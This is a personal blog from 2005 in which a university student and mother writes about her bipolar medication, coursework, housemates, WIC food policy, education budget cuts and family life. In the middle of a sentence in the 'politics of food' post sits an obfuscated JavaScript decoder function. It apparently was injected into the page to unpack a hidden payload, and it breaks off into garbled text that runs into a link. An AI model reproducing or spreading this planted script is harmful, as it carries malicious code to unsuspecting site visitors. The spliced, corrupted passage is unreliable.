spectating participant

May 9, 2005

when drugs work and you don’t

Filed under: unlisted — suzanne henderson @ 5:29 pm

I’d typically write this up in another space, but feeling rather public at the moment. When someone has an illness and there are medications that treat the illness and make the person better, it makes sense to take it. Now, for some reason, this logic doesn’t always work for me. I have [bipolar disorder], nothing new about that and nothing spectacular either.

I’ve been on consistent meds for about a year now, going to bi-weekly therapy even longer, and have tried a variety of drugs that have worked with varying degrees of side effects. Now, in the past few months, I’ve decided that I was done with side effects and that I was going to eliminate and reduce my meds down to the bare minimum. Now, this has been working out quasi-okay since then, but I had a realization this weekend, I’m sure I’ve had it before, that has me wondering why I keep dropping meds. The meds work, they really do, life moves along without a hitch, no weeks of depression and no weeks or irresponsible spending either. More importantly, no short temper and enough patience to get by day to day.

And so, if they work, then why not just take them. I know I complain about the side effects and they do suck, but is it worth putting up with the uneasiness, the short temper, the always returning crankiness? Sigh. I’m frustrated. I hate taking the meds but I also hate yelling at my daughter over a stupid math problem. I’m finally realizing that this general undercurrent of crankiness isn’t just a bad mood, there are real reasons behind it and it could be solved with a little pill or two. Argh.

I have these hopes of not taking any drugs some day. I hold on to this hope so strongly, convinced that this isn’t a real illness, that I some how made it up when things weren’t going so well, and that I’ll eventually be fine. And then, I realize how much nicer life is when I’m not overly moody, not feeling insecure, not doing all of these things that are directly related to the bipolar and not just a crappy day. Maybe if it wasn’t one of those invisible illness with such a social stigma attached to it, maybe if it wasn’t one that feels completely invisible with treatment. And yes, I’m aware that other people have these issues with all sorts of illnesses, mental and physical. So, I’ll kick my meds back up again, rejoin the world of the less complicated, and let life do as is may for a while more. Though, I still have to wonder what on earth I’ll do when I decide to have another kid, a whole 9 months of stress or compromise on drugs that would affect the child? Too much to think about now and it doesn’t really matter right now either.

May 6, 2005

seek and find

Filed under: unlisted — suzanne henderson @ 9:53 am

Yesterday, I left campus after my second class, drove to laurel for lunch and wanted to find a place off-campus to study until my 4:15 class. I was driving back down Rt. 1 hoping to see some sign for a library. Finally, I decided to turn down a random street and see if that took me anywhere. To me, this street meant nothing, just your average residential street. And then, viola, a library appeared. I couldn’t stop laughing at the fact that I had actually found a library by chance.

I took over one of the private study rooms. It was the only space with an accessible outlet for the laptop, and pumped out 14 pages of information for a project due next week. Things are shaping up nicely. I think I’ll be prepared to turn in the projects that are all due next week and then work on that monster assignment for anth. Oh, and my edhd class already handed out the final that will be on the 16th. It is basically a critique of a research article and we have over a week to work on it. We can bring the article to the exam with us, with notes written on it, and a double sided page of notes that can be typed in as small a font as we want. The only rule is that we can’t write the review and then just copy it from the paper. But really, by being given this much information, it is a simple final. Which is good, I could use an A to feel better about my academic ability.

Other news: I have a really hard time with numbers. I fell behind on keeping up with budget numbers and managed to go over budget by more than $300 last month. This should be a major problem since my monthly budget is just a little over $400. But, somehow!, I still had $100 in my account at the end of the month. I’m sure that I’ve screwed something up somewhere, but I still have enough money to cover my budget until September, so I’m not too worried about it. Plus, I’m hoping to save as much as I can this month. Of course, I’m saying this right before [pdf|playa del fuego], so who knows how that will actually work out.

May 3, 2005

in a people house

Filed under: unlisted — suzanne henderson @ 11:51 am

Yep, I live in a people house for sure. There are 4 others (well, maybe 3.2 since the baby is only a couple weeks old) here . I’ve realized these past two weeks that I’m tired of living with people. It is not something I’ve ever really done, just had housemates of any kind, and perhaps not something I can deal with as well as I thought. I want the kitchen to stay as messy or as clean as it was when I left it. I want to be able to live in an organized/cleanish space and be able to expect everyone else to keep up. I want to feel like I actually belong to where I live.

I guess I’m not finding that here because I can expect the house to always be in various states of mess. The kitchen it the only thing I can feel has some organization, but that is a non stop battle when, at times, there are only two people consistently trying and others seem to be honestly blind to mess. I can’t enjoy walking through the house, which has so much potential to be a beautiful house inside and out, without being annoyed at the constantly accumulating piles of stuff. I would like to have some sort of social space available to me in this house, somewhere outside of my room, that I could go, comfortable sit, and enjoy the company of others.

I think I’m just really wanting my own house right now. I love this house in many ways, the location, my space in it, but feeling very trapped in it lately as well. Summer is coming and there will be way too much time here. I could decide to just deal with all the mess on my own, but I know that my personal limit stops at the kitchen. Never ending battles where I’d have to constantly make up the difference for people who don’t mind the mess, which there is nothing wrong with that approach-it just conflicts with my comfortable sense of space., would wear me out and make me even crankier. I want my own spaces to exist in.

So, I’ll just try to maintain the kitchen in a reasonably inviting place, do all my socialization there, and hide from the house the rest of the time. Not sure how that will work once summer gets here. Maybe I’ll take the approach I did as a child, all summer long you stay out of the house as much as possible. And, will remember that I’m trying to commit to living in one place for at least 2 years. Wow, that seems insanely long right at the moment, but I also realize that it is my nature to want to pack and run after a short amount of time in one place. Who knows what’ll happen. I wonder if buying my own place would provide an exemption for that 2 year goal… as if I could.

May 1, 2005

metal! electricity! sparks!

Filed under: unlisted — suzanne henderson @ 5:11 pm

I am madly and lustfully in love with a plasma cutter. These things are amazing! A little forced air and some electricity, and slice! right through metal. Went over to the neighbors house to say hi and just talk a bit about the cutter. He pulled it out, showed me how to use it (simple!) and let me play around on some small scrap pieces of metal. Oh so sweet! The very first thing I did was cut out a star (oh, so surprising, I know) and then messed around with lines and curves and stuff. The cut lines are a lot thinner than I expected them to be. I’m not sure how this will affect my overall design. I wanted a lot of plain line designs but might have to change that if I don’t think enough light will get through. Of course, it might actually do a wonderful job lighting the artistic part of it if the lines are that small. I can’t decide. For some reason, i feel like I’ve worked on another project where thin lines didn’t have the effect I wanted. Maybe it was a pumpkin or something. Anyway, I’m happy as can be. Can’t wait to get started now. And, I have some other metal projects in mind too that might be fun to play with. So.. instead of a white picket fence, maybe I could have an ornate metal fence? Whoohoo!

April 30, 2005

procastination and writing

Filed under: unlisted — suzanne henderson @ 2:43 pm

At lunch, I mentioned that I had written about food and politics and how that has nothing to do with any of my current assignments. Chris points out how the semester is coming to an end, all my papers are coming due, and my website is staying up-to-date. Procrastination at it’s finest, I suppose. Now, to work on British American immigrant experience and finally finish that anthropology midterm that is probably not worth any points at this point. Sigh.

politics of food

Filed under: unlisted — suzanne henderson @ 12:22 pm

amy posted a link to an article about function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand-food-personal-is.html”>politics and food. I haven’t spent much time considering the politics of food, but I have been stirring up personal motivation and interest to really taking a look at [Montgomery County Public School]’s food programs.

The article focused on broad changes to the WIC program. WIC, a food supplement/voucher programs, provides vouchers for nutritional food and nutrition training/education for: pregnant, postpartum, and breast feeding women, infants, and children to age 5. This service is also available for women following a miscarriage, a useful bit of information I found out after applying for the services and miscarrying prior to my appointment date. Currently the program provides (from the official WIC website:

WIC foods include iron-fortified infant formula and infant cereal, iron-fortified adult cereal, vitamin C-rich fruit or vegetable juice, eggs, milk, cheese, peanut butter, dried beans/peas, tuna fish and carrots. Special therapeutic infant formulas and medical foods are provided when prescribed by a physician for a specified medical condition.

The changes will allow for fresh fruit and vegetables to be purchased through vouchers, along with some changes to the dairy and egg portions of the program. This would be a great improvement since many low-income families often do not buy fresh produce or cannot afford fresh produce. This provides a twofold value to the program, there are the funds available for healthy fresh foods and participants will be instructed and educated about how how produce plays an important part in a healthy diet.

WIC is not just about providing the vouchers for healthy foods, they also provide required education about nutrition counseling and planning a healthy diet. This aspect of the program makes it more than just an food-assistance program, like food stamps. It is designed to urge people to select the right kinds of foods and provides vouchers for specific foods to ensure that families are getting what they need.

A healthy diet is a political and social class issue. We had a discussion on [baltwash-burning] about a similar topic back in January. There, I provided the example of how I spent over $43 for one weeks worth of produce for a family of 5. This was for a weekly menu where many things were made from scratch and fresh veggies were part of every meal, there was little produce purchased for snacks. Yesterday, we went again and spent $32 on fresh produce. There was a big difference this week because I’m currently not cooking and so it was mostly snack or breakfast fruits. Also, a lot of it was supplemented with frozen veggies due to the inconsistency of dinner until my finals are over (frozen veggies cost another $20 and we’re relying on them since I don’t know that I’d be able to cook the fresh stuff before it goes bad).

So with these examples it looks like a family can spend on average $128-172 a month on fresh produce alone. Now, for our family (which includes m&m and they do the grocery purchasing) that is not much. At least, certainly not when considering that our month grocery budget is about $530-680 a month. But, if you have a family on an income of $700 a month, then that is a big deal. I’ve often had monthly budgets of $150 for food and it doesn’t take long for that to be eaten by fresh fruits. In fact, if m&m were not buying the food, my grocery budget for the month would be about $100 now.

While fresh foods are better for you, they are not always the easiest when it comes to quick cooking. People like to argue that cooking healthy meals doesn’t take that much time, but when you’re a single-parent family working long hours just to pay the bills and then have to balance kids, homework, and housework, there is 30 minutes for dinner, the whole thing–prep, eating, and clean up. I have been working on cooking healthy meals from a lot of fresh foods and it takes at least 20 minutes of cooking, not to count prep time of cutting up veggies and organizing the pans. And 20 minutes is on the lowest end. Then eating takes at least 35 minutes (normally 60 since is also family social time) and clean up often takes another 30 minutes. This is why I am not cooking right now, I’ve only enough time to get all my projects for school completed, no longer can I come home and get trapped in the kitchen from 6:00-8:00 (just to the get alex ready for bed and read to her for a half hour and then get to sleep myself).

So, in selection and preparation of foods, cost is a major issue. Now, enter the market of convenience foods and our material, market driven economy. Marketed on television are foods that are unhealthy and lacking nutritional value. In the stores you have cartoon characters marketing food to your children. Of course the kid wants to buy the item that Dora the Explorer is on. They have established their conditioning that Dora is good and pleasurable from the shows and books and now they want the food to. Or, just take the food elements of shows, what are kids seeing people eating on television? In our too-busy lives people are grabbing those convenience foods or always stopping at McyDs for a quick bite before running off to sports and lessons. And, my biggest pet-peeve, the shows that assume that kids do not like vegetables and have characters that argue about eating their broccoli and always wanting sugary snacks instead of an apple.

I won’t argue that there needs to be rules or regulations about what shows can and cannot show, I would urge that concerned parents make their voices know. People need to say that we don’t want to see our kids exposed to shows that lack good eating habit examples and instead demand healthier examples. The solution to problems in this country is not always legal requirements banning and constraining, it is to get people using their voice and their money to say that we will not accept products that don’t meet our expectations. Money is a far better motivator than restrictions.

So, in my rambling musing, there are political and economic issues in food. Obesity in america is a problem and we need to do something about it. And it isn’t just people need to eat better, though that is a requirement, it is that we need to influence the environment to make improving easier. When the entire population decides to make the move to healthier eating, we can force companies to follow our lead. Also, as a backtrack, just because produce is often not the cheapest or longest lasting food items, we can still get people buying more of it and less of other convenience foods if we begin changing the dining climate. I’m in no way suggesting that, because produce is pricey, the poor will never improve their diets. Instead, it needs to be clear that high nutrient food is essential and that other grocery budget items like soda, chips, high-fat convenience foods, should be reduced to allow for healthier alternatives.

April 27, 2005

UMD health center services

Filed under: unlisted — suzanne henderson @ 5:33 pm

today was the 3rd time I’ve visited the university clinic for a general health problem. The first time was for my ankle injury and they did a great job with the x-rays and everything went well. Next, I made a general appointment to have a mole looked at. At this one, they basically saw me for 3 minutes, long enough to say that I really needed to see a dermatologist about stuff like that. Now, I would have been happy to be told that over the phone. Today, I went in about symptoms for a possible UTI, though I was pretty sure that wasn’t the problem. So, to the lab and an hour later they tell me I don’t have an UTI and I should make an appointment with women’s health to explore it further. Now, if that was going to be the end result, or if the clinic is not able to provide more rounded/thorough health care coverage, just basic overviews before referring you off to someone else, why bother making an appointment with them? I wanted this problem dealt with, I’ve already waited 2 weeks, and so I was ready to see a doctor, discuss the problem, and search for a solution. I am not interested in walking through a physical flow chart, if no proceed to another appointment. I don’t have time for that. bah!

federal education cuts

Filed under: unlisted — suzanne henderson @ 12:57 am

Bush decided to start the [No Child Left Behind] legislation and then refuses to provide funds to support this program. And now, he wants to further cut funds that would support schools attempting to comply with his legislation.

Programs Proposed for Elimination include:
Comprehensive School Reform
School Dropout Programs
Smarter Learning Communities
Teacher Quality Enhancement
Tech-Prep Education State Grants
Vocational Education State Grants
Vocational Education National Programs
Foundations for Learning

All of these are important programs that they are claiming will be addressed by another program or do not meet high enough standards of research to continue. I am skeptical that all of the programs that are supposed to replace many of these programs, in an umbrella fashion, will include useful information and enough funds to cover the populations these programs now serve.

There are positive things being funded with his new budget and it is important to consider and notice those, but also realize what is being eliminated in the process. Some positive changes:

- Increases in grants for Title I programs (though, is it enough to cover needed increases and the increases needed for the programs listed above that will now fall under this umbrella grant)
- Increase in funds for the pell-grant, grant for low-income college students.
- Increase in funding for reading and math programs (again, will it cover the needed increase and the additional increase for expanding the program to cover the eliminated programs)
- Increase in funding for dual enrollment in high school and college (at the expense of vocational training? is the push for college enrollment going to penalize those not attending college and choosing a trade profession instead?)

Unfortunately, he is also increasing funds for assessments in schools. Considering that current trends and actions for assessing students are faulty and provide little information about the knowledge students posses and acquire throughout school, is this just wasted money?

Detailed information about Bush’s education budget

April 26, 2005

wonderful day before wednesday

Filed under: unlisted — suzanne henderson @ 6:31 pm

Today’s First: Alex walked to the bus! Not too big of a deal since she often walks home, but still exciting just the same. I am confident that she’ll get home one time (as in, before bedtime) when walking home, but I was nervous about her actually making it to the bus stop in time. I think she timed it and it took her about 25 minutes to get there. Not bad for a mile walk on short legs, I suppose. So yay for that.

Another good thing, I’ve a 55-gallon metal drum that will become my very first burn barrel this year. Woot! Woot! my playa estates plan is coming along nicely. Now… to seriously ponder that white picket fence idea. maybe that’ll end up being over kill. But, if I’m gonna have a burn barrel, I might need some additional seating for people to hang out on. I wonder if I can get anything created for that in time. I love it when my brain is actually working.

April 25, 2005

lifetime earnings…

Filed under: unlisted — suzanne henderson @ 3:50 pm

since I first started working in 1996, I have earned $62,420. i don’t really know what to think about that number. plus, over half of that was earned in 2003-2004.

this comes from the social security statement that showed up in the mail. but hey, i’ve earned 28 of the 40 credits needed to get retirement benefits. I’ve worked enough to collect disability–something that I’ve considered applying for form time to time depending on how bad my moods are swinging at the time. And, I’ve worked enough for Alex to get some survivor benefits. This is just more information than I wanted this afternoon.

Instead, I wanted a nice relaxing afternoon to make up for the morning observation in Montgomery Blair High School and working at Burtonsville Elementary School Book Fair this afternoon. This was a good day to remind myself that I don’t care much for other people’s kids. Don’t know why I’m so interested in education when i seem so uninterested in youth themselves.


Filed under: unlisted — suzanne henderson @ 6:35 am

as another day starts, i’m freshly reminded about how I love mornings. there is the stillness and silence to the house and the world that sets the stage for the day. the birds are just beginning their calls to each other, somewhat muted by the pause in the air. The sun is still hidden below the hill line, trees look like they are clenching to the final moments of sleep. Even the wind holds back, breathing slowly and calm. It seems a shame that I must move away from this pause and head into the city. Drive among people who are on autopilot, people who don’t see only their destination and obligations and not the world around them. To them, the sun will be an annoying frustration for the morning commute instead of the unignorable beginning to yet another beautiful day. But, I’m sure there are others who see the morning as I do, who aren’t simply pushing themselves forward for another long week to come. To them, good morning, have a splendid day.

April 23, 2005

greedy for time

Filed under: unlisted — suzanne henderson @ 9:01 am

I woke up to the mask of smoky dawn behind the trees, soft and lingering. The muted trunks, now budding with green, circling around my room. To the north, the pink and white blooms bright against the grey and swaying smoothly. It was so secure there between the soft flannel sheets, warmed from my slumber and wishing to linger.

Unaccustomed to waking in pools of day, I reached for the time, so worried that it was already late. What relief and satisfaction to find that morning was not rushing me and I could pause in this experience for a while. Shifting between the blankets, cuddling up to the view, I waited for nothing.

Birds hopped at the window, playing at each other and not seeing me at all. I want to leave out some feeders to encourage more to swing by. Their jolting movements looked so crisp and awake, full of energetic life that continually explodes in their small body.

Eventually, I slid out of the secure warmth, skin tingling with the chill of morning, and started my day. Another day of reading and learning and catching up on things. Slow and steady progress that feels wonderful to make. And, it all happens there on a made bed, beside the glass framed world of light. Oh, to extend the moments like these, hold them in time, stretch minutes into hours, dawd in the dawn.

April 21, 2005

fall finalized

Filed under: unlisted — suzanne henderson @ 9:32 pm

(bah, wrote this once and lost it, attempt 2)

All signed up for classes. There were issues, but I’ll just sum it up saying it’s just college. So for fall I have 16 credits for:

Anthropology 260 - Introduction to Biological Anthropology - this is a repeat actually. i didn’t do so well last semester and their transfer student policy allows me to repeat it and replace the crappy grade without dragging down my GPA.

Math 010 - this is where I am at now. If i finish this independent math program I should be able to enter Math 111 (Intro to Stats). But, if not, this class will turn into either Stats or Math 110 after 5 weeks. I’ve decided to not worry about it. Sucky part is that it meets 5 days a week, sucky suck.

Family Studies 105 - Individuals in the Family- a nice 100-level course. Haven’t seen one of these in years. but truth is I had space in the schedule and it is a prereq for higher level course that I want to take.

Education Measurement, Evaluation and Statistics 410 - Classroom Assessments - all about tests, portfolio, observations, and program evaluations. Should be good for educational policy.

Education Measurement, Evaluation and Statistics 451 - Introduction to Educational Statistics - Since I’ve had so much fun grinding research and the use of statistics in my brain, why not a whole class on them (in addition to Math 111 if I get in that). Starting to question my sanity about this one. But I can always drop it if I think it won’t work.

There is a 5th year Masters program in the Education Measurement, Evaluation, and Statistics program that I might consider doing if I can get my grades up this semester (retaking the Anth class will do wonders) and if it is something I really do want.

All this thought on what I really want to be doing. Seesh, I hate rethinking things like this. With the 5th year Masters, I wouldn’t change my BA major at least. :) But I think that program might be way too numbers focused for my tastes, I don’t know.

My love for research is fading this semester, but that could be the 90 pages still looming over my head and me being way too far behind to be sitting here mumbling about next semesters class schedule. I am getting really geared in to Educational Policy and Leadership though, maybe time to realize I have a voice that I can use and step up to the plate and use it. I’d totally kick into gear at Alex’s school but I need to not be drowning in coursework in order to take on something else.

April 18, 2005

spin, spin, spin

Filed under: unlisted — suzanne henderson @ 8:37 am

Yesterday was busy. Up early to be productive before meeting, meeting at 10, and then back home to do some work again. Alex was all sorts of helpful and productive. She learned how to drive the lawn mower and later mowed some of the lawn as well. She also helped clear one of the parking pads of the sticks that came down when one of the trees came down. She helped fill 4 tractor wagon loads and drive them down to the workshop for dumping. This included figuring out how to back the trailor, which is something I have a hard time doing–one turn here, a big turn there…

Once all of the work was done, it was off to Dupont Circle for an afternoon spinjam. Lots of fun there, I had my staff, all girlied out with pink and ribbons, and poi. Chris brought his juggling toys and I feel like I am finally making progress on learning how to juggle.

Afterwards, there was the complicated walk to figure out where to eat dinner. This frustrated me, but we eventually picked a place when I just threw my hands up and said any place is fine. It was the [Polo India Club], an empty Indian restaurant. We should have taken the fact that it was not busy, especially compared to everywhere else we’d seen, and a bigger indication than we did. But I assumed that it was pretty hard to really screw up Indian food and it was something all of us, Alex included, could agree on.

Well, I turned out to be wrong, it is not that hard to make Indian taste less than tasty. Everything was basically below good, not terrible, but still just edible. It took forever too, but that is the way of indian food, but by 8:30 I was completely done with being in the too quiet restaurant playing annoying Indian elevator music.

Chris drove home which is always an interesting experience because he isn’t used to driving stick. I think he’s doing quite well, though I can see that it is a little frustrating to stall at a busy intersection. But, if DC drivers weren’t always right on your ass, it might not be as such.

April 17, 2005

early to rise…

Filed under: unlisted — suzanne henderson @ 8:40 am

early to shine? This whole concept of morning people vs non-morning people is is perplexing. I am a morning person, no doubt about it. I am happy to get up before 6am most mornings and get started on my day. I may linger in bed a for fifteen minutes, but as soon as I am up and moving I could start running miles on the energy I have. Of course, I don’t actually run miles because my morning also signals my belly to say “Eat!” Chris, however, is not a morning person. He sleeps right through his alarms and takes endless proddin’ to actually wake up, get out of bed, and shuffle his way to the coffee pot. Thankfully, he is not like some people who are cranky before coffee In fact, his slow progress to waking gives me a great opportunity for me to get those extra snuggles in which he is happy to provide. But, it still take some whip cracking motivation, to get him going. Of course, he can get all this motivation on his own if need be, but it seems to work a little better with the additional push.

Being a morning person, I have never understood the coffee for energy morning routine. In fact, it really bothers me that it has to be two cup of coffee that will get some people going. That is a lot of wasted time in the mornings to me, the 20 minutes to make the coffee and then the 30 minutes or so to get it all down and let it start “working.” Hah, in that time, I’ve prolly showered, dressed, made my bed, had breakfast, and have my days plans organized as I start on item number one.

Being a morning person, it is really frustrating to fall into late sleeping patterns. This often happens when I don’t have enough sunlight to get going in the morning. This isn’t a problem in my room since I have two walls of windows and one is East facing. I love waking up in the sunlight, hurrying to take advantage of the bright, warm glowing filling my room. Yet, Chris’s room isn’t quite so energizing. He has but one window, covered with blinds (whereas mine are not) that faces West in a basement apartment. The room seriously lacks light in the mornings, making it harder to switch off the alarm and feel instantly awake. We seem to flow through patterns of motivated mornings and too late mornings, but maybe this will change soon.

Earlier this month I was racking my brain and juggling numbers to see if I could buy a bed. Mine is just a twin and doesn’t fit two all that well, especially not if one of us is over 130lbs. I wasn’t able to find the money so the idea sort of faded away. However, Chris just got a new job starting Monday and thought that he might just get a bed soon. Note, he does have a bed, though it is makeshift one with a futon mattress. So, now we may be able to have a comfortable bed and the windows and light from my room to make early mornings a consistent reality. I’m excited about this idea especially if I can also find a tall bed frame so that I’m sleeping almost level with the window sill as my bed now is.

April 15, 2005

goodbye, old friend…

Filed under: unlisted — suzanne henderson @ 12:08 pm

My tongue ring really need a strong cleaning the other day, so Chris put it in the ultrasonic cleaner and it cleaned up beautifully. I’d been out most of the day and I didn’t put it back in that night either. The next day, when I finally did, there was a sharp pain that developed later in the afternoon. Not in the mood for anything annoying, I took it back out. I then left it out for 2 nights in a row, something I typically only do one night at a time, and went to put it back in last night. I was a no go. A stretch of skin had closed over in the middle and there was no getting through without some strong pushing. Thought it over, decided that it was a good time to end that relationship.

And so comes the end of a four-year relationship and the start of a whole new one. It is so strange to have nothing there but I’ve already started getting used to the feel as well.

April 14, 2005


Filed under: unlisted — suzanne henderson @ 4:01 pm

Today was the second time within a week that my computer froze on me. It is when waking up, the mouse freezes. Other things work, the time continues to count on and what not, I just can’t get the mouse or keyboard to respond. So.. it is everything really still working or just illusionedly working?

So, it just has to make it one more month then it can camp itself at the apple shop and get a real tune up. I can get the audio fixed and address this issue to. Then I’ll be happier.

April 12, 2005


Filed under: unlisted — suzanne henderson @ 10:02 am

My mind is wandering today, trying to pick up motivation to do this, or that, or maybe this instead. Can’t really hold on to any idea or task too long before another sounds like it should be done instead. It is frustrating.

Maybe it is cause something has been frustrating me and I want to deal with it but I can’t. Too many papers and tests and projects to let me sit and dissect a problem. It is mostly with Alex, this have been such a chore lately. The simplest things are just constant clashes. I know I’m not great at dealing with things like this, and I’d like to learn a few things that will work. I just get so discouraged that nothing is ever going to change with her, that it’ll always be this never ending battle over *little* things. Sigh.

But now I have to study for this exam today. And then, need to kick my ass into high gear on projects. Only a few more weeks left this semester and I’ve not kept up with things as much as I was supposed to.

April 11, 2005


Filed under: unlisted — suzanne henderson @ 8:09 pm

nothing to talk about, nothing at all. talking anyway.

April 10, 2005

lost posts

Filed under: unlisted — suzanne henderson @ 4:18 pm

I type something up every once in a while and think that I hit save. But, seeing the lack of these posts on my page, something must happen between hitting that last ‘.’ and me getting doing something else. Yesterday was another example, I wrote up how much fun we had at the Cherry Blossom Festival and what a wonderful day it was.

Nothing much happening, school and more school. That and settling into life more and more. Alex has friends down the street that she spends most her time playing with. Though she is starting to complain that the half-mile bike ride home it too far, bah!

PDF is coming up next month and I am excited about it. Just started talking plans with Chris this afternoon. It looks like I’ll get the borrow the Big Bad Truck, which mean big bad gear. woot! So far figuring out what i want to, how I want to set up basecamp. I tossed out the idea of taking a pallet of flagstone with us to pave a little patio and Chris seemed to think I was crazy. And yeah, that makes sense. That ain’t light and if it is muddy, it won’t get any lighter. So, I’ll try to just bring in some smaller flag stones to put in front of the tents or something.

So, now thinking of the following ideas: 1-2 hammocks, bring gas grill and feed people, 2 tents (one for alex and then one for us and dressing), new octagone structure, new costumes (i’m pretty committed to this), good food, good beer, nitrogen ice cream… who knows what else. This is just the first day of brainstorming.

Well, there is a paper that I have been seriously avoiding and so I’ll actually get back to it now….. maybe. argh, procrastination to the nth degree on this paper.

March 25, 2005

friday so soon?

Filed under: unlisted — suzanne henderson @ 1:39 pm

was supposed to be going camping this weekend, but not any more. i have way too many things to do and catch up on. i’ve been sick and that took out the majority of my spring break. oh well, not gonna stress over it.

other news, i got me a boyfriend. heh, seems quite silly to say, but i’m in the funny-giddy-happy stage, so i’ll say it just the same. we’ve been seeing lots and lots of each other for over three months now. and, i thought it out over and over and over and decided, yeah-i do like him, and asked him to go steady. how cute or sappy or something like it.

there have been a lot of realizations lately, part of which led to me accepting/wanting an official boyfriend, someone that gets to be mine and the other way around. therapy hit a useful point a few weeks ago, pointing out why i think a certain way and how it affects so many things. and, knowing that, i have been able to step back from lots of things and consider if i react the way i want to react or if i am responding to the defensive thoughts i have about everything. and well, decided that i get to make my choices, what i like is good enough, and I don’t have to feel like i am always working to make others happy. of course, this isn’t a complete turn around or a fix-all solution, just one that I find quite useful.

March 15, 2005

swimming in time…

Filed under: unlisted — suzanne henderson @ 6:16 pm

.. and swerving to miss all the floating drift wood, jagged rocks, and massive jellyfish. I’m not drowning, at least. I am not sure when I will get a few moments to pull my nose out of a book, fingers away from a paper, or eyes out of a nap (taken whenever I can). I’ve outlined out everything I need to do, day by day, for the next two months. Time to get kicking and rolling on some major projects and hopefully get some done earlier than later.

Spring Break is next week and I am so ready for it. It won’t really be a break though, lots of stuff to catch up on instead. I need to make some major strides in the research department and catch up on reading that has fallen behind. I just realized that I have another 10 pages of research added to the 102 I’m already doing this semester. Luckily, one paper has been turned in already and the other one will be dealt with later.

After my spring break comes alex’s. Too bad they don’t coincide. well out of time, back to shopping for camping/hiking gear.

February 28, 2005

bark bark bark

Filed under: unlisted — suzanne henderson @ 11:18 am

Hunter, the dog, is barking today. He and Sammy get locked in their cages when Mark and Megan go to work. It saves me from having to deal with them or even remember to put them away when I leave. However, if Alex is also home, Hunter gets antsy and wants out. I can’t really argue with that, but it still annoys me that I have to deal with the dogs sometimes. I really don’t like animals, this is no surprise, mostly because I hate having to take care of something that needs it. But, I also feel bad that I have no compassion for the animals in this house. Occasionally, I get small moments of endearment for the dogs. Sammy has this ‘I’m such a stupid dog’ look that is almost cute from time to time and Hunter just gives you that ‘love me’ lab look occasionally. However, once those brief moments are over, it is back to wishing they weren’t here.

And then there is the cats. Spud, Pepper{mint Patty}, and Charlie {Brown}. Pepper is flat out obnoxious, meow at everything in this insanely whiney tone. Seems to never be happy where she is at, it skittish most the time, and cowers in my closet when I’m trying to get her out. Spud has issues and sometimes he gets the most sympathy from me. His mission is to try to kill anyone walking around the house, especially the kitchen; he constantly winds in and out of your feet and gets stepped on *all* the time because of it. I get to thinking that he really just likes affection, but when he gets all pissed off for getting stepped on and dislikes being pet, si that thought flies out the door. Charlie, I can like in silence. He is just your average fat cat that just lazes around the house, will let you pet him if you want, and doesn’t do anything obnoxious. So, I guess there is one animal in the house that I don’t strongly dislike.

I guess that I worry that disliking animals is some sign of brokenness. I think that people will think me cold because I don’t get all sentimental about four legged, walking rugs. But, I don’t like them. I prefer a house where I can stay gone as long as I want, for weeks even, and not have to make arrangements to have something at home cared for. I like knowing that I won’t have to take a sick animal to the vet for unexpected pet bills. I like knowing that the only living creature I’m responsible for is able to fend for her own needs from time to time.

And, the disclaimers: I like Dave and Steph’s dog Nicki because he is smart, well trained, and enjoyable to be around. I have also considered getting a dog after alex grows up if I feel that I can put the insane amount of time and attention into it to making sure that it is a good, well behaved dog that I can take camping and hiking and out if I have to. I will never like a small rat dog or any dog smaller than a lab.

February 24, 2005

too much stuff

Filed under: unlisted — suzanne henderson @ 2:43 pm

I’m finally getting to the stuff I dropped off in the garage and stopped worrying about after I moved. It isn’t a great deal of stuff; however, all of it seems to be useless random crap. I have done a good job of filtering and sorting everything up to this point, but this is all the stuff that I don’t know what to do with. Sigh, I thought moving was over, but here I am trying to figure out how to fit more stuff in a room that I like just as it is.

On a more positive note, the snow is beautiful! And, all of my burning man gear is fully unpacked. I thought that I’d unpacked it all a while ago, but no, I just found and unpacked some more. And my hands are playafied now.

snow day

Filed under: unlisted — suzanne henderson @ 8:45 am

School is out for both Alex and I. When Mark told me this morning, I was all pissed off. “What?! Cancelled and it isn’t even snowing yet?!” But, I suppose he had the good old stand-by excuse, maryland is unprepared to deal with snow. Oh well, I’m happy to get another dose of snow this winter, I was worried that we were all out of wintery goodness. Now, to figure out how to spend my day since I don’t have to be in class from 9 to 7.

This snow sure makes me miss Wisconsin so much more. I guess I’ll actually have to go visit this summer for vacation, if I’m not submerging myself in summer classes to try and catch up. And of course, there is the winter solstice in December. maybe I’ll actually get to go this year if school doesn’t interfere. And, if not, going over Christmas and New Years seems like a good plan too.

So many things that I’m always wanting to do. But, unfortunately, I can’t get to them all. Must pick and chose, which really just means, must do what suits the mood when it strikes. I think I’m gonna get organized enough to get to the store this morning. It seems like a good day to work on getting more stuff out of the garage. I’ve fallen behind on doing that since I moved in November. Plus, what is a little snow on the road? I know my car can deal and if not, there is always the Big Bad Truck. Heh, a little overkill so early in the showering of flakes.

February 23, 2005

childish, marked by or indicating a lack of maturity

Filed under: unlisted — suzanne henderson @ 11:34 pm

Damn, starting to understand the joy that [Rob|Rob Carlson] took in posting certain things to his website. I mean, there can be some real pleasure in the amusements of life from time to time.

So, in follow up to the crazy chicks comment, I emailed my ex about the call I got: email to ex. From the infrequent conversations we’ve had in the past few years, he has made it pretty clear that he tends to end up with very jealous (and maybe insecure, in my opinion) women. Our emails have always taken this stuff rather lightly, so I couldn’t help responding in kind.

I didn’t hear anything back from him, but tonight I got an email from the girlfriend.

Ooops, guess I betrayed some confidence that I didn’t know I’d signed up for. When reality is that I don’t know this woman and getting a random call like this is a bit freaky. More importantly, I know my ex and he’s the first person I’d contact about something like this, not some stranger on voicemail. So sorry.

